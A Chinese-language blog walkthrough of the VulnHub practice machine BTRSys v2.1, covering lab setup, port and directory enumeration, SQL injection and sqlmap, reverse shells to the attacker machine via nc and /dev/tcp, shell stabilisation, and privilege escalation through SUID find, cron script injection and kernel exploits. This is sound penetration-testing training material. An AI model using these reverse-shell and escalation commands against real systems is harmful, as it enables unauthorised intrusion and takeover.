BTRSys v2.1 渗透测试实战:从信息收集到提权完整流程

BTRSys v2.1渗透测试靶机 本内容遵循CC 4.0 BY-SA版权协议
名字太短的葱 名字太短的葱 墨衍会员 · AI 创作全网分发 墨衍智能分发 通过墨衍一键同步至各平台 可同步平台 CSDN微信公众号微博知乎掘金百家号博客园抖音小红书 你的文章也可以这样分发 墨衍会员 ¥399起/年,写一次发全网 我也要

1. 从一台“靶机”说起:BTRSys v2.1 到底是个什么东西

如果你在网络安全圈子里混过一段时间,大概率听过“靶机”这个词。所谓靶机,就是一台故意设计成有漏洞的虚拟机或镜像,供安全从业者、渗透测试学习者拿来练手。它跟真实生产环境的区别在于:你把它打穿了,不用负任何责任,也不会有人找你麻烦。BTRSys v2.1 就是这样一个存在——它是一台专门用于渗透测试练习的靶机环境,属于 VulnHub 平台上比较经典的一类作品。

我第一次接触 BTRSys 的时候,其实没太当回事。毕竟 VulnHub 上的靶机多如牛毛,从入门级的 Kioptrix 到稍微复杂一点的 Mr-Robot,选择太多了。但 BTRSys v2.1 有个特点:它的难度定位在“初级到中级之间”,既不像某些靶机那样几乎等于送分,也不像 OSCP 风格的靶机那样一上来就让你怀疑人生。它更像是一个“过渡型”的练习场——你如果刚学完基础命令,想找个东西验证一下自己的思路,它挺合适的。

具体来说,BTRSys v2.1 模拟的是一台运行着 Web 服务、SSH 服务以及若干后台管理接口的 Linux 主机。你需要通过信息收集、服务枚举、漏洞利用、权限提升这一整套流程,最终拿到 root 权限并读取 flag 文件。整个过程覆盖了渗透测试的典型生命周期:侦察、扫描、利用、提权、取证。对于正在准备 OSCP 或者想系统梳理自己方法论的人来说,它是一个不错的“阶段性检验工具”。

我写这篇东西的目的,不是给你一份“通关攻略”——那种东西网上已经够多了。我想做的是,把我在折腾 BTRSys v2.1 过程中踩过的坑、总结出来的思路、以及那些“如果当时有人告诉我就好了”的细节,完整地分享出来。无论你是刚入门的新手,还是已经有一定经验但想看看别人怎么思考的老手,应该都能从中找到一些有用的东西。

2. 环境搭建与初始配置:别急着开扫,先把地基打牢

2.1 靶机导入与网络模式选择

拿到 BTRSys v2.1 的镜像文件之后,第一步是把它导入到你的虚拟化平台里。我用的是 VirtualBox,VMware 也完全没问题。导入过程没什么好说的,但有一个细节值得注意:网络模式的选择。

很多人习惯性地把靶机设成“桥接模式”,觉得这样最方便。但在实际练习中,桥接模式意味着你的靶机会直接暴露在你所在的局域网里,如果你的宿主机连着公司网络或者公共 Wi-Fi,这其实是有风险的。更稳妥的做法是使用“仅主机模式”或者“NAT 网络”,然后在你的攻击机上配置一个静态 IP,确保攻击机和靶机在同一个网段内。

我个人的习惯是:在 VirtualBox 里创建一个 Host-Only 网络,网段设为 192.168.56.0/24,攻击机(通常是 Kali Linux)的 IP 固定为 192.168.56.10,靶机通过 DHCP 获取地址。这样既隔离了环境,又保证了连通性。

注意:导入靶机后,先别急着启动。检查一下虚拟机的网络适配器设置,确保它连接到了你刚才创建的 Host-Only 网络,而不是默认的 NAT 或者桥接。

2.2 攻击机准备与工具清单

攻击机我用的是 Kali Linux,版本倒不是特别关键,但建议用最近一两年的版本,避免工具链太旧导致兼容性问题。在开始之前,我通常会确认以下几类工具是否可用:

  • 信息收集类:nmap、netdiscover、arp-scan
  • Web 枚举类:gobuster、dirb、nikto、whatweb
  • 漏洞利用类:searchsploit、metasploit-framework
  • 提权辅助类:linpeas、linux-exploit-suggester
  • 其他:netcat、curl、wget

这些东西 Kali 默认都有,但如果你用的是其他发行版,可能需要手动装一下。我建议在开始之前跑一遍 sudo apt update && sudo apt upgrade,确保工具都是最新版本。

2.3 确认连通性:别小看这一步

靶机启动之后,你会看到一个登录界面,但你不需要登录——我们的目标是从外部打进去。这时候第一件事是确认攻击机和靶机之间的网络是通的。

我通常先用 netdiscover -r 192.168.56.0/24 扫一遍,看看靶机的 IP 是多少。假设扫出来是 192.168.56.101,那就先 ping 一下:

BASH
ping -c 3 192.168.56.101

如果 ping 通了,说明网络没问题。如果没通,先检查虚拟机的网络设置,别急着往下走。我见过太多人卡在这一步,以为是靶机的问题,结果折腾半天发现是网络模式选错了。

3. 信息收集:慢就是快,别急着上 Exploit

3.1 端口扫描的策略与参数选择

信息收集是整个渗透测试过程中最容易被低估的环节。很多人拿到靶机 IP 之后,直接一个 nmap -sV -sC -p- 就上去了,然后看到一堆端口就懵了。我的建议是分阶段扫描,先快后慢,先粗后细。

第一阶段,用快速扫描找出开放的端口:

BASH
nmap -T4 -p- --min-rate=1000 192.168.56.101 -oN quick_scan.txt

这里 -T4 是提高扫描速度,--min-rate=1000 是保证每秒至少发 1000 个包,-p- 是扫描全部 65535 个端口。这一步通常几分钟就能跑完。

第二阶段,针对开放端口做详细的服务识别:

BASH
nmap -sV -sC -p 22,80,3306 -oN detailed_scan.txt 192.168.56.101

-sV 是版本探测,-sC 是运行默认脚本。这一步会告诉你每个端口上跑的是什么服务、什么版本,有时候还能直接发现一些明显的漏洞。

在 BTRSys v2.1 上,我扫出来的典型结果是:22 端口跑 SSH,80 端口跑 HTTP,可能还有 3306 跑 MySQL。具体端口组合可能因版本略有差异,但大体思路是一样的。

3.2 Web 服务枚举:从首页到隐藏目录

80 端口开放之后,第一件事是用浏览器访问一下,看看首页长什么样。BTRSys v2.1 的首页通常是一个简单的登录页面或者一个静态的欢迎页。别急着去猜密码,先看看页面源码里有没有注释、隐藏字段或者奇怪的链接。

接下来就是目录枚举。我用的是 gobuster:

BASH
gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt -o gobuster_results.txt

这里 -x 指定了要尝试的文件扩展名。BTRSys v2.1 上,我印象比较深的是扫出了一个 /admin 目录和一个 /backup 目录。/admin 里面是一个后台登录界面,/backup 里面可能有一些备份文件。

实操心得:目录枚举的字典选择很关键。common.txt 适合快速扫一遍,但如果没扫出东西,可以换用 directory-list-2.3-medium.txt,虽然慢一点,但覆盖面更广。另外,别忘了试试 robots.txt 和 sitemap.xml,有时候会有意外收获。

3.3 数据库服务探测:别忽略 3306

如果扫描结果显示 3306 端口开放,那就要重点关注了。MySQL 服务如果配置不当,可能允许匿名访问或者弱口令登录。我通常会先试试用 mysql 客户端直接连:

BASH
mysql -h 192.168.56.101 -u root -p

如果提示输入密码,先试试空密码、root、password、toor 这几个常见弱口令。如果连上了,恭喜你,可以直接看数据库里有什么敏感信息。如果连不上,也别灰心,后面可能还有别的路子。

4. 漏洞利用:从入口点到 Shell 的完整路径

4.1 Web 应用漏洞的挖掘与利用

BTRSys v2.1 的 Web 应用部分通常存在一些常见的漏洞,比如 SQL 注入、文件包含或者命令执行。具体是哪个,取决于你拿到的版本。但不管是什么漏洞,挖掘的思路是相通的。

先看登录页面。如果是一个简单的用户名密码表单,试试 SQL 注入:

SQL
' OR '1'='1' --

在用户名和密码字段分别试试,看看能不能绕过登录。如果登录成功了,进去之后看看有没有文件上传、命令执行之类的功能。

如果登录页面没有注入点,那就看看其他页面。比如 /admin 目录下的页面,有没有参数是直接拼接到 SQL 查询里的。我通常会用 sqlmap 来辅助检测:

BASH
sqlmap -u "http://192.168.56.101/admin/login.php" --data="username=admin&password=admin" --batch --dbs

--batch 是让 sqlmap 自动选择默认选项,--dbs 是枚举数据库。如果 sqlmap 检测到注入点,它会告诉你数据库类型、当前用户、权限等信息。

注意:sqlmap 虽然强大,但别完全依赖它。有时候它的 payload 会被 WAF 拦截,或者因为网络延迟导致误判。手动测试一下,确认漏洞确实存在,再让 sqlmap 去跑。

4.2 获取初始 Shell 的几种方式

一旦确认了漏洞,下一步就是获取一个 Shell。根据漏洞类型不同,方式也不一样:

  • 命令执行漏洞:直接通过 URL 参数或者表单字段执行系统命令,比如 ; nc -e /bin/bash 192.168.56.10 4444。
  • 文件包含漏洞:尝试包含 /etc/passwd 确认漏洞存在,然后包含一个你上传的 webshell,或者利用日志文件包含来执行代码。
  • 文件上传漏洞:上传一个 PHP 或者 JSP 的 webshell,然后通过浏览器访问触发。

我个人的习惯是,在获取 Shell 之前,先在攻击机上开一个 netcat 监听:

BASH
nc -lvnp 4444

然后根据漏洞类型构造反弹 Shell 的命令。比如如果是命令执行,可以试试:

BASH
bash -i >& /dev/tcp/192.168.56.10/4444 0>&1

如果靶机上没有 bash,可以试试 sh、python、perl 等。BTRSys v2.1 上,我印象中 bash 是可用的,所以直接用上面的命令就行。

4.3 Shell 稳定化:别在“裸”Shell 里干活

拿到初始 Shell 之后,第一件事是把它“稳定化”。所谓的“裸”Shell,就是没有作业控制、没有 Tab 补全、Ctrl+C 会直接退出的那种。在这种 Shell 里干活,效率极低,而且容易误操作。

稳定化的标准流程是:

BASH
python -c 'import pty; pty.spawn("/bin/bash")'

然后按 Ctrl+Z 把进程放到后台,再执行:

BASH
stty raw -echo
fg

最后按几下回车,再执行:

BASH
export TERM=xterm
stty rows 40 cols 120

这样你就有了一个相对完整的交互式 Shell。虽然不如 SSH 那么舒服,但至少能正常用 Tab 补全和 Ctrl+C 了。

5. 权限提升:从普通用户到 root 的最后一公里

5.1 提权信息收集:先看清楚自己在哪

拿到初始 Shell 之后,你通常是一个低权限用户,比如 www-data 或者某个普通用户。这时候别急着去找 Exploit,先做一轮系统的信息收集。

我通常会跑一遍 linpeas,它会自动检查系统版本、内核版本、SUID 文件、可写目录、计划任务、环境变量等等,然后给出一个提权建议列表。把 linpeas 传到靶机上(可以用 wget 或者 nc),然后执行:

BASH
chmod +x linpeas.sh
./linpeas.sh | tee linpeas_output.txt

如果靶机上没有 wget,可以用 nc 从攻击机传过去:

BASH
# 攻击机
nc -lvnp 5555 < linpeas.sh
 
# 靶机
nc 192.168.56.10 5555 > linpeas.sh

5.2 常见的提权路径与实操

在 BTRSys v2.1 上,我遇到过的提权路径主要有这么几种:

第一种:SUID 文件滥用。 如果 linpeas 报告某个 SUID 文件是 nmap、find、vim 之类的,那就有戏了。比如 find 有 SUID 权限:

BASH
find . -exec /bin/sh -p \; -quit

这样就能直接拿到 root Shell。

第二种:计划任务(Cron Job)滥用。 如果有一个以 root 身份运行的脚本,而你对这个脚本有写权限,那就可以往里面注入命令。比如:

BASH
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /path/to/script.sh

等计划任务执行之后,运行 /tmp/rootbash -p 就能拿到 root Shell。

第三种:内核漏洞。 如果系统内核版本比较老,可能存在已知的本地提权漏洞,比如 Dirty COW(CVE-2016-5195)。用 uname -a 看看内核版本,然后去 searchsploit 里搜一下:

BASH
searchsploit linux kernel 4.4

如果有匹配的 Exploit,编译之后在靶机上运行,通常就能提权成功。

实操心得:提权的时候,别一上来就试内核漏洞。内核漏洞虽然威力大,但风险也高,搞不好会把靶机搞崩。优先试试 SUID 和计划任务,这两种方式更稳定,也更容易控制。

5.3 提权后的收尾工作

拿到 root 权限之后,别急着关掉。先做几件事:

  1. 读取 flag 文件,通常在 /root/flag.txt 或者 /home/用户名/flag.txt。
  2. 检查 /etc/shadow,看看有没有其他用户的密码哈希,可以拿去破解。
  3. 清理痕迹(如果是真实环境的话),但在靶机练习中,这一步可以跳过。

6. 常见问题与排查技巧实录

6.1 扫描不到端口怎么办

有时候你跑完 nmap,发现只开了 22 和 80,其他端口都没开。这时候别急着放弃,试试以下几个方向:

  • 用 -Pn 参数跳过主机发现,有时候靶机禁用了 ICMP,nmap 会误判主机不在线。
  • 用 -sU 扫一下 UDP 端口,有些服务可能跑在 UDP 上。
  • 用 -A 参数做一次全面扫描,虽然慢,但信息更全。

6.2 反弹 Shell 连不上怎么办

反弹 Shell 连不上,通常有几个原因:

  • 靶机没有 nc 或者 bash,试试 python、perl、php 等替代方案。
  • 防火墙拦截了出站连接,试试用 80、443 等常见端口。
  • 攻击机的监听端口被占用,换个端口试试。

6.3 提权 Exploit 编译失败怎么办

有时候你下载了一个 Exploit,在靶机上编译时报错。常见原因包括:

  • 缺少编译工具,试试 gcc 或者 cc 是否可用。
  • 缺少依赖库,看看报错信息里缺什么,用 apt 装一下。
  • 架构不匹配,确认靶机是 32 位还是 64 位,下载对应版本的 Exploit。

6.4 常见问题速查表

问题现象 可能原因 解决方法
nmap 扫不到靶机 网络模式不对 检查虚拟机网络设置,确保在同一网段
目录枚举没结果 字典太小 换用更大的字典,或者尝试不同扩展名
SQL 注入被拦截 WAF 规则 尝试编码绕过,或者换用其他注入点
反弹 Shell 无响应 端口被过滤 换用 80、443 等常见端口
提权 Exploit 失败 内核版本不匹配 用 uname -a 确认版本,重新搜索 Exploit

7. 一些个人体会与后续练习建议

BTRSys v2.1 这个靶机,我前后折腾了大概三四个小时才完全打通。中间卡得最久的地方是提权环节——一开始我一直在试内核漏洞,结果要么编译失败,要么运行之后系统直接卡死。后来静下心来跑了一遍 linpeas,才发现有一个 SUID 文件被忽略了。用那个 SUID 文件,两分钟就拿到了 root。

这件事给我的教训是:信息收集永远不嫌多,提权之前先看清楚系统里有什么,比盲目试 Exploit 效率高得多。

如果你已经打穿了 BTRSys v2.1,想找下一个练习目标,我建议试试 Kioptrix 系列或者 Mr-Robot。Kioptrix 偏重基础,适合巩固信息收集和漏洞利用的流程;Mr-Robot 则更偏向 Web 应用渗透,适合练习 WordPress 相关的漏洞利用。等你把这几台都打穿了,再去挑战 OSCP 风格的靶机,会感觉轻松很多。

最后再分享一个小技巧:每次打完一台靶机,花十分钟写一份简短的复盘笔记,记录你用了哪些工具、走了哪些弯路、最后是怎么解决的。这份笔记在你准备认证考试或者面试的时候,会比任何教程都管用。

相关推荐

基于Python+Open CV的手势识别算法设计

伴随着人工智能时代的到来,人机交互的领域也逐渐成为研究的一大方向;其中,手势识别是人机交互领域的一项关键技术,自此手势识别也迎来了一波高潮,近几年无论是在消费领域、电子领域、数码领域、家电领域甚至汽车领域上,都能或多或少的见到手势识别的身影。 手势识别在设计智能高效的人机界面方面具有至关重要的作用, 目前手势识别已应用到手语识别、智能监控、到虚拟现实等各个领域,手势识别的原理都是利用各种传感器(例如红外、摄像头等)对手部的形态进行捕捉并进行建模,形成一个模型信息的序列帧,而后将这些信息序列转换为机器能够识别的相对应指令(例如打开、切换菜单、移动等)来完成控制。 采用Python的集成开发环境Pycharm进行本次课程设计,在Pycharm中进行需要库(模块)的下载,调取电脑摄像头,按帧读取摄像头采集到的头像,形态学处理,图像旋转(由于摄像头采集到的图像是镜像,需要用cv2.flip将摄像头采集到的图像进行处理),选取图片中固定位置作为手势输入,用红线画出手势识别框,基于hsv的肤色检测,进行高斯滤波,找出轮廓,求出图像中手势的凹凸点,手指间角度求取。

努力学习前端的小陈

ROS-CV-ImageConverter:将ROS图像转换为OpenCV(cv :: Mat)类型的图像

ROS-CV图像转换器 依存关系 cv_bridge(ROS软件包)

Willis Wang

计算机视觉图像处理-CV2与图像插值算法

用最近邻插值与双线性插值原理完成图像缩放 最近邻插值,是指将目标图像中的点,对应到源图像中后,找到最相邻的整数点,作为插值后的输。缺点:使用最近邻插值算法处理图像放大时,在图象中可能出现明显的块状效应 双线性插值,在两个方向上做三次线性插值。使用双线性插值算法处理图像放大时,在图象中可能出现马赛克 代码 import cv2 img = cv2.imread(’./xiabang.jpg’, cv2.IMREAD_UNCHANGED) #缩放比例 scale_percent = 0.3 width = int(img.shape[1] * scale_percent) height = int

weixin_38697274

基于水平集CV模型的图像分割(Matlab代码)

基于水平集CV模型的图像分割(Matlab代码),全套代码

小宇QAQ

导向滤波(guide_filter)的python实现

导向滤波(guide_filter)的python实现,可以结合暗通道;理论实现比较好的图像去噪效果。

zachzhan_g
返回顶部
名字太短的葱
博客等级 码龄9年 57粉丝 2,624原创